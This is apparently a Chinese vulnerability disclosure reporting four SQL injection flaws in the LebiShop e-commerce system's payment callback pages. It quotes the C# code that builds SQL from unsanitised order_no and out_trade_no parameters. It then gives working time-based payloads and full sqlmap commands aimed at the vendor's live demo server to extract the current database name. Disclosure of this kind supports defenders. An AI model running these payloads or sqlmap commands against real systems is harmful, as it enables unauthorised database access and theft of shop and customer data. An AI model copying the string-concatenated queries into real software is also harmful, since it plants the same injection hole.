LebiShop系统sql注入二（四处注入）

### 简要描述： LebiShop商城系统最新版SQL注入二 四处 官方demo演示 当前版本： V3.2.00 更新日期： 2015-01-27 ### 详细说明： 注入一 LebiShop\onlinepay\dinpay\return_url.aspx 源码如下 ``` protected void Page_Load(object sender, EventArgs e) { string str = base.Request.Form["merchant_code"].ToString().Trim(); string str2 = base.Request.Form["notify_type"].ToString().Trim(); string str3 = base.Request.Form["notify_id"].ToString().Trim(); base.Request.Form["interface_version"].ToString().Trim(); base.Request.Form["sign_type"].ToString().Trim(); string str4 = base.Request.Form["sign"].ToString().Trim(); string code = base.Request.Form["order_no"].ToString().Trim(); //没处理 string str6 = base.Request.Form["order_time"].ToString().Trim(); string str7 = base.Request.Form["order_amount"].ToString().Trim(); string str8 = base.Request.Form["extra_return_param"].ToString().Trim(); string outcode = base.Request.Form["trade_no"].ToString().Trim(); string str10 = base.Request.Form["trade_time"].ToString().Trim(); string str11 = base.Request.Form["trade_status"].ToString().Trim(); string str12 = base.Request.Form["bank_seq_no"]; string str13 = ""; if ((str12 != null) && (str12 != "")) { str13 = str13 + "bank_seq_no=" + str12.ToString().Trim() + "&"; } if ((str8 != null) && (str8 != "")) { str13 = str13 + "extra_return_param=" + str8 + "&"; } str13 = (str13 + "interface_version=V3.0&") + "merchant_code=" + str + "&"; if ((str3 != null) && (str3 != "")) { str13 = str13 + "notify_id=" + str3 + "&notify_type=" + str2 + "&"; } str13 = ((((str13 + "order_amount=" + str7 + "&") + "order_no=" + code + "&") + "order_time=" + str6 + "&") + "trade_no=" + outcode + "&") + "trade_status=" + str11 + "&"; if ((str10 != null) && (str10 != "")) { str13 = str13 + "trade_time=" + str10 + "&"; } Lebi_OnlinePay onlinePay = Money.GetOnlinePay(code); //跟进 if (onlinePay == null) { base.Response.Write("系统错误"); base.Response.End(); } ``` ``` public static Lebi_OnlinePay GetOnlinePay(string code) { return GetOnlinePay(B_Lebi_Order.GetModel("Code='" + code + "'")); //没处理参数存在注入 } ``` 注入二 三 四 ``` LebiShop\onlinepay\alipayDBJY\return_url.aspx LebiShop\onlinepay\alipayJSDZ\return_url.aspx LebiShop\onlinepay\alipaySJK\return_url.aspx ``` 代码一样 ``` protected void Page_Load(object sender, EventArgs e) { SortedDictionary<string, string> requestGet = this.GetRequestGet(); string ordercode = base.Request.QueryString["out_trade_no"]; //没处理 Lebi_Order model = B_Lebi_Order.GetModel("Code='" + ordercode + "'"); //跟进 if (model == null) { base.Response.Write("系统错误"); base.Response.End(); } else if (requestGet.Count > 0) { Notify notify = new Notify(model); if (notify.Verify(requestGet, base.Request.QueryString["notify_id"], base.Request.QueryString["sign"])) { string outcode = base.Request.QueryString["trade_no"]; string text1 = base.Request.QueryString["trade_status"]; if (base.Request.QueryString["trade_status"] == "WAIT_SELLER_SEND_GOODS") { Order.OnlinePaySuccess(ordercode, outcode, true); } else { base.Response.Write("trade_status=" + base.Request.QueryString["trade_status"]); } base.Response.Write("验证成功<br />"); } else { base.Response.Write("验证失败"); } } public Lebi_Order GetModel(string strWhere) { if (strWhere.IndexOf("lbsql{") > 0) { SQLPara para = new SQLPara(strWhere, "", ""); return this.GetModel(para); } StringBuilder builder = new StringBuilder(); builder.Append("select top 1 * from [Lebi_Order] "); builder.Append(" where " + strWhere); //直接带入了没处理 存在注入 Lebi_Order order = new Lebi_Order(); DataSet set = SqlUtils.SqlUtilsInstance.TextExecuteDataset(builder.ToString()); if (set.Tables[0].Rows.Count <= 0) { return null; } ``` ### 漏洞证明： 第一处 ``` http://demo.lebi.cn/onlinepay/dinpay/return_url.aspx ``` 分别post提交 ``` merchant_code=1&notify_type=1&notify_id=1&interface_version=1&sign_type=1&sign=1&order_time=1&order_amount=1&extra_return_param=1&trade_no=1&trade_time=1&trade_status=1&order_no=1 ``` ``` merchant_code=1&notify_type=1&notify_id=1&interface_version=1&sign_type=1&sign=1&order_time=1&order_amount=1&extra_return_param=1&trade_no=1&trade_time=1&trade_status=1&order_no=1';waitfor delay '0:0:5';-- ``` 存在时间差 基于时间的注入 sqlmap扫描 ``` sqlmap -u "http://demo.lebi.cn/onlinepay/dinpay/return_url.aspx" --data "merchant_code=1&notify_type=1&notify_id=1&interface_version=1&sign_type=1&sign=1&order_time=1&order_amount=1&extra_return_param=1&trade_no=1&trade_time=1&trade_status=1&order_no=1" -p "order_no" --dbms "mssql" --technique=T --current-db --time-sec 10 ``` [<img src="https://images.seebug.org/upload/201503/022239355f70a9267342ed70a6f403c47e111559.png" alt="551.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/022239355f70a9267342ed70a6f403c47e111559.png) [<img src="https://images.seebug.org/upload/201503/02224507402a0b5067257071dcfb2b033837d095.png" alt="552.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/02224507402a0b5067257071dcfb2b033837d095.png) 注入二 三 四 分别访问 ``` http://demo.lebi.cn/onlinepay/alipayDBJY/return_url.aspx http://demo.lebi.cn/onlinepay/alipayJSDZ/return_url.aspx http://demo.lebi.cn/onlinepay/alipaySJK/return_url.aspx ``` post提交 ``` out_trade_no=1 out_trade_no=1';waitfor delay '0:0:5';-- ``` 很明显的时间差 基于时间注入 sqlmap扫描 ``` sqlmap -u "http://demo.lebi.cn/onlinepay/alipaySJK/return_url.aspx" --data "out_trade_no=1" --dbms "mssql" --technique=T --time-sec 10 --current-db ``` [<img src="https://images.seebug.org/upload/201503/02225201969be97e34aa10b988ae3d2e5217372e.png" alt="553.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/02225201969be97e34aa10b988ae3d2e5217372e.png) [<img src="https://images.seebug.org/upload/201503/022259262a3d6eff275c889c24c6d64b9d3425d4.png" alt="554.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/022259262a3d6eff275c889c24c6d64b9d3425d4.png)